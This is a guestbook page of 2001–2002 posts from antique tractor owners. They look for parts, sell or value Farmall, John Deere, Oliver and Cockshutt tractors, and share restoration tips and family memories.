Charles Milton wrote on Tuesday, January 08, 2002 (PST):My Father owned the General Tractor in the 1940's I remember it was a brownish orange in color. My father bought it new from Massey Harris dealer in Milton Ontario.
Cotton Picker wrote on Monday, January 07, 2002 (PST): We have an 806,1066 and a 1586. I like the 1066 the best. We also have 4 cotton pickers 622,2-782s,and a 1822. I have a 4020 JD but it seems like it's broke most of the time. I'm looking for a 660 IH they're hard to find. If any one knows where to get one I'd like to know. NOTHING KILLS A DEERE LIKE A MAGNUM!
Jennifer Ohnstad wrote on Tuesday, November 20, 2001 (PST):My dad owns two Cockshutt tractors--a Cockshutt 30 and a Cockshutt Golden Arrow. They are definitely his "babies". They are in great shape, and they both run great, too, as he is a retired diesel mechanic. He uses both of them on his farm in North Dakota. I believe he is planning to restore both of them at some point in his life, but for now, he is using them around the farm. They are not ready for retirement yet. They definitely get the job done, and he is very proud of them.
David wrote on Friday, November 16, 2001 (PST):Is the W6 the same as an AOS6 Australian Built tractor? and if so, are parts inter-changeable?
Billy Johnson wrote on Friday, November 16, 2001 (PST):I am looking for an entire clutch assembly for a 1964 550D Oliver Tractor. My tractor purrs like a kitten, but can't won't move a lick. Burned up clutch. Can anyone help ?
Ed Attwood wrote on Thursday, November 15, 2001 (PST):I have a Leader tractor Model #49D Serial #3165 I am planing to restore but need a few misc. parts. It runs and drives well but has a few non original parts. I need pictures, paint spec, one square hub rear wheel and throttle control. I also have heard that the rear end, brakes and wheels are the same used on a Combine does anyone know if this is true? Thanks
Frank Petroni wrote on Thursday, November 15, 2001 (PST):Just Inherited a Fordson Dexta that my father in law bought new. Little maintainence was done. Any info. on the simple things like changing oil & filter, or air cleaner would be appreciated.
Ernie wrote on Wednesday, November 14, 2001 (PST):Looing for a nice Ac D 10 series 3 Ilive in oregon would like to find one close to home if possible
Ron wrote on Wednesday, November 14, 2001 (PST):have an oc3 and am looking for parts. any suggestions would be greatly appreciated. throttle parts and magneto. i believe it's a 1950
Jim Landis wrote on Tuesday, November 13, 2001 (PST):I am looking for Massey 98 any condition.
Jim wrote on Monday, November 12, 2001 (PST):I have a Super 99 GM Diesel.
Randy Murphy wrote on Monday, November 12, 2001 (PST):I am considering restoring a JD 2010 that belongs to my mother-in-law. It is in need of an engine overhaul. Can anyone recommend a non OEM overhaul kit supplier? Also, I am not certain where the tractor serial number is located. The shop manual indicates the number is located on the rear of the transmission case, but I cannot find it. Any help would be greatly appreciated.
The Super "M" wrote on Monday, November 12, 2001 (PST):To Brettjuckette; Painting your own tractor can be relatively inexpensive. If you know folks in the auto-body trade it can be just the cost of the paint and a little cash to the painter. I took my Farmall Super M into the local Vo-Tech school and all it cost me was the paint and a small tip to the students.(they did a good job on er') The paint is easy to come by, just get Farmall red or International Harvester red. Good Luck & Have Fun.
chris Harrod wrote on Saturday, November 10, 2001 (PST):sorry about the PH# above it 502-833-3434
Chris harrod wrote on Saturday, November 10, 2001 (PST):I have a 19-- 4 cly 99, 19-- cockshutt 4 cly, 1953 6 cly 4 speed gas, and a 1953 6cly Diesel 4 seed tractors for sale call me at 502-833-343
Nancy Bradley wrote on Thursday, November 08, 2001 (PST):I have a customer at the public library where I work, he is looking for a wiring diagram for a 560 Farmall Diesel, made in early 1960's. If anyone would contact me to assist me in locating the wiring diagram I would appreciate it. Thanks. My fax and phone number is 417-345-2647. or by e-mail.
Jeremy S wrote on Wednesday, November 07, 2001 (PST): I recently purchased 2 AC HD21 dozers. One has the allis inline turbo 6cyl and the other now has a detroit V8. i am interested in any info/ mech, tear down, or spec. One needs turning clutch work, the other needs poss. cyl sleeve?? Any info and or pictures would be greatly appreciated!!
Jim Vandendries wrote on Wednesday, November 07, 2001 (PST):I have a John Deere 720 propane and John Deere 60 gas. The 720 needs some attention as I am dealing with now. I would like to possibly buy another one in time. I really enjoy it,as I do farm a little bit and use this tractor for most of my plowing and disking. It needs some powersteering work and I just had the starter rebuilt and put a taper lock flywheel on it.
Matthew from Pennsylvania wrote on Wednesday, November 07, 2001 (PST):There's a Farmall "C" in the local paper advertised for $900.00, condition is said to be old. We need a tractor for light farm work, and was wondering if 900.00 is a fair price for this tractor ( considering "old" condition )?
Bruce Ellis wrote on Tuesday, November 06, 2001 (PST):I am trying to find some parts for my ac 220. Such as lights, hitch parts, left fender, brake parts, hyd. cooler, and some other parts. Have not had much luck. Any help would be appreciated on new or used parts or a good web site for finding them.
Tony wrote on Tuesday, November 06, 2001 (PST):I recently purchased a 1930 Farmall regular that has been in the family since it was new. I'm in the process of restoring it and I cant find the parts needed;carb float, mag, etc. Any help would be greatly appreciated as to where I can find these.
Scott wrote on Tuesday, November 06, 2001 (PST):I have a friend who has a who still uses an Oliver 70RC for daily chores, but it desparately needs a new rim. The old rim was damaged by a rock and has partially separtated due to rust. Does anyone out there know who/where might sell a rim for an Oliver 70RC close to the Central, PA area?? Any info you have would be appreciated. Thanks.
Robert S. wrote on Monday, November 05, 2001 (PST):I have a 1945 SC that I bought at an auction a year ago. I gave about $100.00 for it as it was in bad shape. I am slowly working on it. I ordered manuels from Jensales. Their web site is; www.jensales.com Another good source of advice for me has been my local tractor club. I have been purchasing my flambeau Red paint from a local Tractor Supply Company store (TSC) and have found it to be the right color and of good quality. It comes in spray cans which are ideal for me as I am working at a slow pace.
Garry wrote on Monday, November 05, 2001 (PST):My neighbor is selling an IH 1206. I am looking for some information about this model. Is $5000 a good price. It is in good shape. How reliable is this model, etc.
Hayseed wrote on Monday, November 05, 2001 (PST):O.K price is now 450.00, don't pass er' by
jim blackstock wrote on Friday, October 26, 2001 (PDT): I wonder if any one can tell me were i can buy starting papers for a field marsall in australia or how to make them
Darcy Kada wrote on Wednesday, October 24, 2001 (PDT):I have a friend that has restored a farmall cub and he ordered the decals for it and the guy that sent him the decals say that they are the right ones for the cub but they are like the one in your cub picture (the cub is in the same line as the farmall not like some i have seen with the cub half way down the side ) could some one tell me the right ones the cub we are working on is a 1949 the guy that sold us the decals say that they changed the decals in the mid year of 49 so which ones are correct thanks hope you can help us
Joe Boldt wrote on Wednesday, October 24, 2001 (PDT):looking for a dual fuel manifold for a 37 f20 preferably in A1 shape.
elwood dominique wrote on Wednesday, October 24, 2001 (PDT): I am looking a drive sproket for a bo lindeman crawler that is in good condition and at a fair price
LARRY LITTLE wrote on Wednesday, October 24, 2001 (PDT):I NEED PARTS FOR A D-15 TRANSMISSION. ARE NEW PARTS AVAILABLE? WHERE ARE USED PARTS AVAILABLE? WHERE. I WOULD BE INTERESTED IN BUYING A D-15 WITH A GOOD TRANSMISSION AND LIFT. MINE HAS A GOOD MOTOR
Charlie Becker wrote on Wednesday, October 24, 2001 (PDT):I bought a Leader for 375.00 and a old shotgun.It is in fairly good shape.I would like to restore it.It looks a lot like the one in the picture,however I have found three others in a junk yard and not one of them are the same.The transmissions,steering boxes,hoods,seats,hydraulics and other things are all differant.It took me a while to find the dip stick because it was hid behind some oil lines.I have not been able to find a serial# or model# anywhere on this tractor.Can anyone tell me where to look?I would like to purchase a manual if there is one available.
John Kaempfer aka ironman wrote on Tuesday, October 23, 2001 (PDT):I believe i have a vaiwa tractor. It has a traverse front spring between the front wheels, no power takeoff,no hydrolics the rear wheels are 16"with military type tires. It is low to the ground and short looks like it was used for for a tow tug. If any one is intrested in it will sell or trade, contact me by phone after 6 pm or e-mail
John Kaempfer wrote on Tuesday, October 23, 2001 (PDT):I believe i have a vaiwa tractor. It has a traverse front spring between the front wheels, no power takeoff,no hydrolics the rear wheels are 16"with military type tires. It is low to the ground and short looks like it was used for for a tow tug. If any one is intrested in it will sell or trade, contact me by phone after 6 pm or e-mail
Rob Steinhaur wrote on Tuesday, October 23, 2001 (PDT):I am looking at a 52 Massey Harris Pony it is in running condition and all the sheet metal is in good condition, the fellow is asking $800.00 CDN. does this sound like good price.
Joe McKay wrote on Tuesday, October 23, 2001 (PDT):I need a fuel filter for a Super Dexta 2000. The model I have has 2 filters, one on the right side up-stream of the fuel pump, and one on the left side down-stream from the fuel pump. I need the one on the right (up-stream from the fuel pump). The local ford tractor dealer says they are no longer made. Any help greatly appreciated, if you have one or can direct me to a source. Thanks. Joe McKay Pinehurst, N.C.
matt vogt wrote on Tuesday, October 23, 2001 (PDT):The 1066 was a tough old tractor, but I know an old 806 with over 16000 hours on her, and the engine has never been touched!!! She has had on clutch and TA job and that was around 15,000. and she's on her second Tacometer.
Darren Elliott wrote on Monday, October 22, 2001 (PDT):I love our '52(??) 8n. i like it so much i made a webpage about it www.geocities.com/dman4ski/index.html
Jared Rigert wrote on Monday, October 22, 2001 (PDT):i work on a dairy farm in Banks, Oregon. we own many red tractors. the "10" is the most reliable but not the most manoverable. it is the best for grinding feed and any other job were horspower is an issue butt the 806 is the best all round tractor made.
Robert Charles Wilson wrote on Monday, October 22, 2001 (PDT):The Titan and Mogul gas tractors were the forerunners to the McCormick-Deering and IHC tractor lines..........!!! Very interesting, Eh?
Austin wrote on Monday, October 22, 2001 (PDT):I have a 1949 MT serial # 10550 with a #5 sickle mower, and JD wagon. I am looking for a 1951 A to restore and pull with, I am from Texas and would like it to be in Tx or some state close by.
Kevin Welsh wrote on Monday, October 22, 2001 (PDT):I just purchased a 1927 McCormick Deering 15 30. It looks like it was painted red but my Grandfather said he had one and it was grey. I would appreciate some help as we are going to start restoring it.
farmall crazy wrote on Monday, October 22, 2001 (PDT):Time you guys saw a real tractor. Like A RED one for instanct not just green piles of junk.
Kevin Welsh wrote on Monday, October 22, 2001 (PDT):I just purchased a 1927 McCormick Deering 15 30. It looks like it was painted red but my Grandfather said he had one and it was grey. I would appreciate some help as we are going to start restoring it.
mike bieller wrote on Monday, October 22, 2001 (PDT):could anyone tell me what kind of price would be fair for a 550 oliver with front loader in good condition new paint,good tires,new seat,runs good the seller is asking 6,250.is this a fair price?
Mable Houzter wrote on Monday, October 22, 2001 (PDT):My husband died 6 months ago and he left a cockshutt 50 & Silver King tractor. I'm moving away from the farm and willing to sell. Take Offers
Zeke Yoder of Penn wrote on Monday, October 22, 2001 (PDT):To all interested in the FREE tractor, I'm deathly sorry but I've had an offer on it, a man offered me 50.00 dollars. If any body could match that or go higher then that then friends it's yours. I'm ever so sorry, I'll keep it until 11/14/01. I'm once again sorry
Hayseed wrote on Monday, October 22, 2001 (PDT):My price for the tractor is now set at $650.00, Don't pass this one on by folks. It will be taken to the scrap yard if you boys don't wise up.
Dave Brubaker wrote on Monday, October 22, 2001 (PDT):Het fellas 'bout that "C" the man called me and said that he's also gonna include a sickle bar mower, plow, & mini manure spreader. This tractor's in great, well cared for shape. Don't miss it, this thing will go cheap. Theirs loads more of information so call me at 717-865-0510 ask for Dave or Henry.
The Super "M" wrote on Monday, October 22, 2001 (PDT):To Gary H; The Cub was a small tractor used for light farm/yard work. The A was a little larger and had the cultivision seating.
Mike McHale wrote on Sunday, October 21, 2001 (PDT):I own 44, 4 cylinder, Row Crop, gas, no identification plate. I need a picture or drawing of a 3 point hitch setup to compare to my home made unit. I also need a rebuilt clutch disk for the normal pressure plate spring type, not the over center one. Does anyone know where I can get a hydraulic pressure regulator assembly, found in the top of the transmission cover. I guess I will need the vanes for the hydraulic pressure pump. Thanks, Mike
Gary H. wrote on Sunday, October 21, 2001 (PDT):I've got a couple questions for you folks. 1st. can someone explain the difference between a cub, an A, a super A and a 140, they all seem to have the same appearence with slight differences. I'm a novice in the field and need some help. Do the implements for these interchange? 2nd Horsepower-- What is the H.P. of these?
Rein Matiisen wrote on Sunday, October 21, 2001 (PDT):To N/a re; Orchard fenders. As far as I know IHC used the W6 and W4 series for their orchard model tractors, the Farmalls, being row-crop tractors, were a bunch higher and not that suitable for orchard work. I bet you could find a set of orchard fenders for a W6 and modify them for a M, though, if that is what you're up to.
Sonny Moore wrote on Saturday, October 20, 2001 (PDT):I have a UTS serial N 01207994.I want to know if it is a 1952 or 1953, the correct colours and where I can get a front lamp which I put away safely and now can't find it.
Richard Spencer wrote on Saturday, October 20, 2001 (PDT):My grandfather imported a TD35 into the UK in 1938. It was used in his agricultural contracting business and driven by my father untill 1954. I can remember riding on it as a small child, It was considered to be an axcellent tractor and a better puller than a TD9. I just wish I still had it.
robert wrote on Friday, October 19, 2001 (PDT):I had problems with my wd45 getting stuck into gear, and was getting tired of having to pull the shifter to get it back into the proper setting. I accidently discovered a fix that will prevent it from getting stuck again. There is a slight tradeoff however which was not a problem for me. if you would like instructions e-mail me..
Omer Charest wrote on Friday, October 19, 2001 (PDT):Hi I am a collector of the International line.I really enjoy thje looks of the 10-20 Tittan and would like to know if anyone would have one for sale to restore.Thank you
Chuck Thomas wrote on Friday, October 19, 2001 (PDT):I just picked up a '35 T20 to clear some brush and put in some trails at my remote cabin site in Alaska . It runs but needs The Exhaust stack and some work on the Cleats . Does anyone know if there is a reprint of the shop manual available for these and how dependable they are or what could be weaknesses . I got one for parts but it doesn't have the stack .
Henry wrote on Friday, October 19, 2001 (PDT):I have a cockshutt tractor that I'm willing to sell for 400.00 O.B.O... I'm a retired farmer and ready to sell at any price. 717-865-2881
Dave Brubaker wrote on Friday, October 19, 2001 (PDT):I'm selling a Super C at my auction on the 3rd of November. Prime,showroom shape.
Z.Yoder wrote on Friday, October 19, 2001 (PDT):Free tractor still available, see previous message from October 18th, 2001 for details...I'll be responding to messages left in a couple weeks... thanks for waiting...
Snowball Shutt wrote on Friday, October 19, 2001 (PDT):Hayseed, you'll been in the silo too long, your way under priced change A.S.A.P. Do yourself the favor, pal... NO LESS THAN 2 GRAND HAYSEED!!!!!!!!!!!!!!!!!!!!!
Albert Miles wrote on Friday, October 19, 2001 (PDT):My father is selling the farm & machinery; included is 2 oliver row crops, god bless em' great ol' tractors...
Z.Yoder wrote on Friday, October 19, 2001 (PDT):To R.Sheehan, I've had many responses. I'll get a hold of the people after 11/14/01. Thank You For Your Message... I'll begin phone calls after the above date. Z.Yoder
JimBroughton wrote on Thursday, October 18, 2001 (PDT):To; Joe Stroud....Yep, Joe it's a 1947, Farmall Cub, hence the "F"...you can get a repair/overhaul shop manual from Intertec, P.O. Box 12901..Overland Park,Kansas,66282-2901... mine cost $20.00 but they might have gone up since then...you probably need their IH-8 book (Cubs prior to1957) Good luck !!....Jim
troy stanley wrote on Thursday, October 18, 2001 (PDT):ineed a gas tank for 1950 case vao
Robert Holmes wrote on Thursday, October 18, 2001 (PDT):My Father ownes a MC crawler and has been looking for the drum line for the pto, if anyone know's where we might be able to find one please let us know..
Wayne wrote on Thursday, October 18, 2001 (PDT):Looking for engine diagrams for w-4
Robert Sheehan wrote on Thursday, October 18, 2001 (PDT):I'm interested in that "B"you have.
Robert Sheehan wrote on Thursday, October 18, 2001 (PDT):I'm interested in that "B"you have.
farmer wrote on Thursday, October 18, 2001 (PDT):i need a mechanical lift for a 47 sc
Zeke Yoder wrote on Thursday, October 18, 2001 (PDT):ATTENTION- I have a AC"B" on my property that must be removed by 12/14/01, it starts & runs but needs paint and a little work. I'm too old to do such things. it's here for the taking- FREE... I'll check back here from time to time Please leave a message, this machine is free for the taking in South central Pennsylvania..
Ol' Hayseed wrote on Thursday, October 18, 2001 (PDT):For Sale; Minn. Moline, LPTO, 3p/h, New Tires, Tuned Engine. New Paint & Decals Also! Farm Sold, Must sell remaining machinery !! Must Sell $975.00 Or Best Offer Must be removed from property by 11/01/01 Farm in Pennsylvania! I'll check back in 1 wk leave message!!
The Super "M" wrote on Thursday, October 18, 2001 (PDT):Long live the farmall!!!
The Super "M" wrote on Thursday, October 18, 2001 (PDT):Long live the farmall!!!
ANDY GOWEN wrote on Wednesday, October 17, 2001 (PDT):I OWN A 1953 INT. 300 UTILITY THAT WAS MY DAD'S THAT HE FARMED WITH FOR ABOUT 35 YEARS IT IS IN GREAT SHAPE AND RUNS GOOD I CRANK IT AND DRIVE IT AROUND EVERY SO OFTEN AND WOULD LIKE TO RESTORE IT TO NEW CONDIDTION BUT I WANT TO MAKE SURE THE PAINT IS ORIGINAL COLORS, SO IF ANYONE HAS ANY PHOTOS OF ONE COMPLETE I WOULD LIKE TO SEE IT.
BILL HARGRAVE wrote on Wednesday, October 17, 2001 (PDT):I have a model G that needs to be restored.Is there anyone in Texas that does that?
Idalou FFA wrote on Wednesday, October 17, 2001 (PDT):We are restoring a '49 UTU in class. Been through everthing and painted. We are just now putting it back together. We should be done by December. We are "VERY" proud. It will be a classy restoration.
Clarence Meinholdt wrote on Tuesday, October 16, 2001 (PDT):I have a Oliver 60 row crop. It is a l948 model. I enjoy using it.It is in great shape and it is a powerful tractor.
Clarence Meinholdt wrote on Tuesday, October 16, 2001 (PDT):I have a Farmall B. Where can I look on it to determine the year model.It is in very good shape and runs good. I enjoy using it. I have owned it for about 6 years.
David Barber wrote on Tuesday, October 16, 2001 (PDT):I have a 1937 f-12 that I have started restoring. I need an engine rebuild kit, some main bearing caps, and an exhaust manifold. I'd appreciate any information on these or other f-12 parts.
Super "M" wrote on Tuesday, October 16, 2001 (PDT):In response to EG I think it's a Mason Jar, but don't hold me to it. 80% sure...
The Super "M" wrote on Tuesday, October 16, 2001 (PDT):God Bless The Farmall Tractor. And have mercy on those green blooded morons. A David Bradly is more dependable than a Deere... I'll be back...
The Super "M" wrote on Tuesday, October 16, 2001 (PDT):A team of mules are more dependable than a John Deere! Farmall Forever! A Farmall could run circles around a Deere! John Deere is just a name without power to back it up.
Matt from Pennsylvania wrote on Tuesday, October 16, 2001 (PDT):My pap sold his farmall super M for $1,700.00. It had wide front, 3p/h, and hydro. He sold it with bush hog, scraper blade, and tire chains. How much was this machine worth ( I know way more than 1700) I loved that tractor! it was a true work horse. He's sorry he sold it, real sorry
Joe Stroud wrote on Monday, October 15, 2001 (PDT):I have a Farmall Cub which I think is a 1947 model. The data plate info is; Model - F Cub; Serial Number - 89354. I am thinking of doing an engine overhaul and need additional info as to the exact year model and F model on this tractor. If anyone could provide info I would greatly appreciate it. Thanks
RITA KRAGULSKI wrote on Monday, October 15, 2001 (PDT):I'M LOOKING FOR A JOHN DEERE 420 TO RESTORE.
quinton wrote on Monday, October 15, 2001 (PDT):does any one have a 99 diesel or super 99 diesel for sale
N/a wrote on Monday, October 15, 2001 (PDT):Did any farmall tractor come with the orchard fenders
Jim Broughton wrote on Sunday, October 14, 2001 (PDT): To Harley;....Your Cub is a late 1963 model, and yes, they had a "squared" front-end style then. Best of luck with it. Jim
EG wrote on Sunday, October 14, 2001 (PDT):What are the specifications for the jar that fit on the air cleaner for the Farmall C? I want one like the original. Was it a Ball or Mason jar?
Kevin wrote on Sunday, October 14, 2001 (PDT):My family has a farmall H and we'd like to know what year it is the serial number is FBH(I think) 252127
stanley blackwell wrote on Sunday, October 14, 2001 (PDT):iI HAVE A D SERES CASE OR DO ANI NEED A WATER PUMP,HAVING A HARD TIME FINDING ONE.WILL A SC WORK? SOMEONE HELP ME
Joe wrote on Sunday, October 14, 2001 (PDT):I have a very nice 9N with over under, new tires, excellent sheet metal,loader, cultivator, post hole digger,rear blade, lister. Looks & runs like nes. Located in Nebraska. $2650.
Joe wrote on Sunday, October 14, 2001 (PDT):I just bought a Super A which has a very loose front end. The play appears to be in the steering box. Is there an adjustment? Or do I look for new gears? Thanks
Danielle Koski wrote on Saturday, October 13, 2001 (PDT):I have seen this tractor before-well because it sits in my backyard. You see my dad collects and restores antique tractors, and this doesn't mean John Deere's. He collects and restores the rare ones-the ones most people would forget about. Like I said, he owns a Titan like this, or one similar to this. I'm not exactly sure. All I know is it is LOUD! Anyways, if any of you are ever in Oakley, Michigan (It's around Saginaw) on the third weekend in August, stop the Mid-Michigan Old Gas Tractor Show and you can see some of the rare ones (and some that aren't so rare) that my dad has collected. The Mid-Michigan Old Gas Tractor Association also has a website, but I'm not sure what the address is. You can more info about the show, and though my dad is anti-computer, his associates who know how to use the computer will probably be helpful in answering a lot of your questions.
rich willhaus wrote on Saturday, October 13, 2001 (PDT):we have found a samson 4 cylinder motor with the "samson" inprinted on the radiator and wonder what value it may have? thanks. rich
rich willhaus wrote on Saturday, October 13, 2001 (PDT):we have found a samson 4 cylinder motor with the "samson" inprinted on the radiator and wonder what value it may have? thanks. rich
coatts wrote on Saturday, October 13, 2001 (PDT):Still looking for a Ford 541 offset tractor, I have found a ford 2000 offset and have restored and have taken it to several shows this year. a lot of individuals have never seen an offset ford before.
Daniel James wrote on Saturday, October 13, 2001 (PDT):i just recently bought a 2010 serial #12957 ,a 1961 model. it is the second 2010 on this farm and they are great. we still own the other one two a 1964 model.
Rick Terhaar wrote on Saturday, October 13, 2001 (PDT):new e-mail address
Harley Fsddis wrote on Friday, October 12, 2001 (PDT):I have cub with a serial # 223276J. It dosen't look like the others I have seen' the hood comes strate out the grill is ressesed and is stamped out like a diamond plate. The id. plate has Farmall International Cub
JOHN BRAWNER wrote on Friday, October 12, 2001 (PDT):I have a 49,G JOHNDEERE am currently restoring ,am allways looking for ways to add more power! Any one have any ideals I am open for your comments.There is no sound sweeter to me than a good running G, I also have a 49,B its next in line for restoration. I am looking for a 49,A to add to my collection! I have farmed with A,B,and G's all my life. Any body know any thing worth shareing ,drop me a line,THANKS!
Gabe Anderson wrote on Friday, October 12, 2001 (PDT):I just wanted to say that it's nice to read about other 460,560 fans. I belong to a antique engine club. I did have an old JD but I,ve started collecting red. I'm starting with my grandfathers 460. Ever since I was a kid every body bought me JD stuff. But grandpa was IH all the way,so thats how I got to be "RED BLOODED".I always told grandpa that I was going to fix up the 460 someday,I just wish I would've done it before he passed on. But it's nice to be able to share my love for red with other "RED BLOODED" folks. I LOVE YOUR SITE, I'M COMING BACK.
Wiley wrote on Friday, October 12, 2001 (PDT):I am interested in buying a good JD 820/830 tractor. tks wiley
Bob wrote on Friday, October 12, 2001 (PDT):I have an H, S.S. no. 113586 I think it is a 1942. It has a magneto on it but is not getting spark. I was wondering if there is a way to test if the mag is bad? What else could be causing no spark?
charlie o'neill wrote on Friday, October 12, 2001 (PDT):the tractor pictured has strait steering wheel.1956 and 1957 had a strait wheel where the 1958 had a slant wheel. i hav a 1958 my dad bought new in the fall of 57. he passed away in 89 and willed it to me. i have restored it and take it to a lot of shows. i have got a lots of blue ribbons with it. the tractor can not,i repeat, can not be bought. thanks for your time.
B.J. Kaufman wrote on Friday, October 12, 2001 (PDT):I have a B.F. Avery Model A that belonged to my father. He used it primarily for moving snow, but it has not been used since he died four years ago. Does anyone have any idea as to what this tractor may be worth?
Jeremy wrote on Friday, October 12, 2001 (PDT):What is the differance between the Johndeere A and the G? Were the G tractors bigger? What was the production year? (star to finish) In 1950 was the A the bigest tractor available? Any help you have will be greatly appriciated. Thanks
Robert Wolf wrote on Friday, October 12, 2001 (PDT):Am in the process of purchasing a 1949 AC model G will be needing an exhaout manifold and muffler, starter & maybe more...can anybody help?
Tom Hoffman wrote on Friday, October 12, 2001 (PDT):I'm looking for a hyd. clyinder for the rear cultivator on my G.
Dick Chatterton wrote on Thursday, October 11, 2001 (PDT):How can I determine the value of my MTA? It is like new, with power steering, wide front end, fenders, and a 2point hitch. The tires are like new as is the paint. It runs like new and everything works.
DICK CHATTERTON wrote on Thursday, October 11, 2001 (PDT):some restored some field ready. Also s.c. post hole digger for sale.AC 3point hitches for sale. decal sets,along with most needed parts for WD+WD 45 Tractors.
tina wrote on Thursday, October 11, 2001 (PDT):We are auctioning off a 1955 Pacer on ebay from 10/10/01 - 10/20/01. This tractor is in good working condition and comes with front/rear cultivators and disk. It is selling with a very low reserve. email for information or view it at ebay - cgi.ebay.com/ebaymotors/aw-cgi/eBayISAPI.dll?ViewItem&item=596605096
Allen wrote on Thursday, October 11, 2001 (PDT):1950 Farmall Cub for sale. Runs Good. No equipment. Both owner's and service manuals are included. 1,500 O.B.O. I'm located in Central N.C. Thank you.
chris wrote on Thursday, October 11, 2001 (PDT):I have a 60 and would like to buy (or build) a cultivator that mounts behind the front tires. I've had this tractor for 9 years, and every year I'm getting more into farming. I love it. Any info would be greatly appreciated. (Pictures would be great!!) Thank you.
dana edgerly wrote on Thursday, October 11, 2001 (PDT):i have a 1965 ac d12 series111 i am looking for a grill the tin work is ex.and does not look very good without the grillthanks for any information on one
Lawson Thomas wrote on Wednesday, October 10, 2001 (PDT):We have a 1942 Farmall M and i was with a narrow front and we are in the process of restoring it.......again, however a few weeks ago i for the first time in my life saw a M with a 4 wheel drive unit on a wide front. The unit was powered by the belt pully. I was wondering if any one out there had ever seen or heard about this. Living in a rural aria in western PA the you see a lot of old tractors and Farmalls are particurally popular, most are still used in farming but i have never seen anything like the 4 wheel drive M any info would be appriceated Thanks.
KEITH ROZEBOOM wrote on Wednesday, October 10, 2001 (PDT):Nice tractor. I beleive sean is right, these type of tractors were intorduced farmer to the tracto and to slowly replace horse drawen equipment. I've seen a very similar one not to long ago. It was a diffenent make but also steered with reins. I beleive it was called a "PowerHorse" but I'm not sure who made it. If anyone knows who makes it please let me know.
Doug Knutson wrote on Wednesday, October 10, 2001 (PDT):I bought a "B" from a old farmer around Bently, Alberta. The tractor was one of many that where sitting in his pasture forming a long fence line of sort. I stop one day while working in the area, spotting the little rusty tractor and fell in love. After installing new rear rims, general clean-up and a fresh paint job, I had one cute little unit. Continues to run great cutting grass and moving small trailers around the farm in Kipling Saskatchewan.
Jeff Swafford wrote on Tuesday, October 09, 2001 (PDT):Aaron - I'm no expert on IH tractors, but if my memory serves me right, back in the days when I was into pulling (early to mid 70's) I believe the 1066's cranked out about 115 hp. They always dominated at the tractor pulls in my south central Wisconsin hometown. The Oliver 1750's and 1755's didn't have as much hp and the JD's didn't have traction to out pull those big red monsters.
B Bormann wrote on Tuesday, October 09, 2001 (PDT):I have an 880. I pull it in tractor pulls.I usually bring home one place or another.
Gene wrote on Tuesday, October 09, 2001 (PDT):I have a 55 TO35 #S158737. It has a single stage clutch like on the "Special" But the console has the steering wheel and all the instruments (tack,oil, amp,temp)like described on the "Deluxe" Which one is it? Also the hood has places for four metal nameplates. One on the nose, two "Ferguson-35" to each side and one on the right side that I don't know what it is. Can you help? After peeling off many different layers of color paint. The last colors were light gray(like Ford gray from "TSC") and dark green on the chassis under the pedals and hyd. lift arms.
terry wrote on Tuesday, October 09, 2001 (PDT):Need grill for W4. Also would like a manual for W4 or H. Does anyone know when IH quit putting extra fuel tank on so it could be started on gas and switched over to low grade fuel? Thanks for your input.
Marcel Phillips wrote on Monday, October 08, 2001 (PDT):in progress of restoring a 1920 titan looking for parts(air breather brake pedale )
RCW wrote on Monday, October 08, 2001 (PDT):The AC line was the 'average' or very modest farmers tractor; it served the purpose very well for working-small farmer in the 1930's to the 1960'! A wonder era in Agriculture!
Dennis Firsching wrote on Monday, October 08, 2001 (PDT):What engine was in the 800?
Donald Nutt wrote on Monday, October 08, 2001 (PDT):I have a SD-3 that I am going to restore, the engine is in real bad shape. I am looking for another engine or usable engine parts. These engines were also used as power plants on some generators, any help would be appreciated. Located in northern Michigan Phone # (989)- 732-8218
DEBBIE BEYER wrote on Monday, October 08, 2001 (PDT):I have a 1952 Massey Harris Tractor with one bottom plow. I believe that this is a "Pony". Tractor does run and is in good shape. I'm trying to establish a value. Can anyone help me out?
Dave wrote on Sunday, October 07, 2001 (PDT):I have a 48 Oliver 60. It runs great.I rebuilt it about 2 months ago becaues it had a noise somewhere.I put all new bearings , But still is knocking some where. I pulled it 3 times. Got two 2nds and a 4th. I need to get more weight in the front end.I hate looking up while I'am pulling. Your tractor looks great.
geral springer wrote on Sunday, October 07, 2001 (PDT): looking for wide front end for 630 good condition 501 785 4779 where can i get main bearing at good price might sell tractor
Lura Walker wrote on Saturday, October 06, 2001 (PDT):I am looking for information on an Avery Model R tractor. Please respond, possible with Pictures..Thanks
E.SHAWN FREED wrote on Saturday, October 06, 2001 (PDT):DOES ANYONE HAVE A PHOTO OF THE SUPPOSED BRACKET THAT HOLDS THE P.T.O.REVERSER ADAPTER TO THE BACK OF THE CUB,I HAVE THE REVERSER,I JUST NEED THE BRACKET.PLEASE LET ME KNOW IF YOU HAVE ITHER THE PART OR A PIC.
RandyM wrote on Friday, October 05, 2001 (PDT):I'm restoring a 1937 Farmall F 20 and needing a intake/exhaust,a oil filter housing and magnito. Does anyone have these or can help me.
Hank Lyons wrote on Friday, October 05, 2001 (PDT):Does anyone know where we can get a front grill both sides for series 40 cockshutt, any condition.
Floyd Jenkins wrote on Friday, October 05, 2001 (PDT):I have just acquired a 1939 Case tractor that needs restoration.Any suggestions from people are welcome-parets books,shows,etc.
Richard Paquette wrote on Thursday, October 04, 2001 (PDT):I bought a Super 55 gaz model 4 years ago and i use it to pull out trees from the forest. Last week i bought a log splitter (hydraulic double action cylinder). My problem is; i really dont know how to connect the 2 hooses from the log splitter to the original hydraulic external control body valve (brand name Vickers part number from the parts book 1ES-2007-A. For who should be interested, i have the original parts book in english and owner book in french. I appreciate your help and long life to this forum.
Blake Long wrote on Thursday, October 04, 2001 (PDT):Hi, Doug. My Father still owns two Farmall Super M tractors, and they both still run. He isn't farming anymore, but I'm sure he will keep them both for the rest of his life. I don't know what kind of shape your M is in, but I think these tractors have a very tough engine. My Grandfater bought both the Super M's of my Dad's in 1953, new. One only my Grandfather drove until he died in 1975, and that tractor has never had the head off it, and the other one was used by the hired men, all the time. Its been overhauled at least once. When I was in High School, I took the more used one to school for a shop project and learned a lot about it. Like most people never change the transmission/axle gear oil. I would highly reccomend it. I think it holds 13 gallons to the check plug. Anyway, due to clutch problems one time, and a distributor problem once, I know the engine has been siezed at least twice and loosened up, and would you belive it runs fine afterwards. Try checking the "wishbone" on your front end, it could be worn out of adjustment and you may need to shim the front axle pin where it swivels. Ours didn't always get the attention they needed on the farm at that time, so Dad said to drive slower on ours. Well, I hope you enjoy your M. They are a solid tractor. I changed ours over to 12V in the 80s and its easy to do, just change your coil is all I did, and add a GM alternator and 12v battery. Then you can run 12v lights if you want to. Well, take care of the old M.
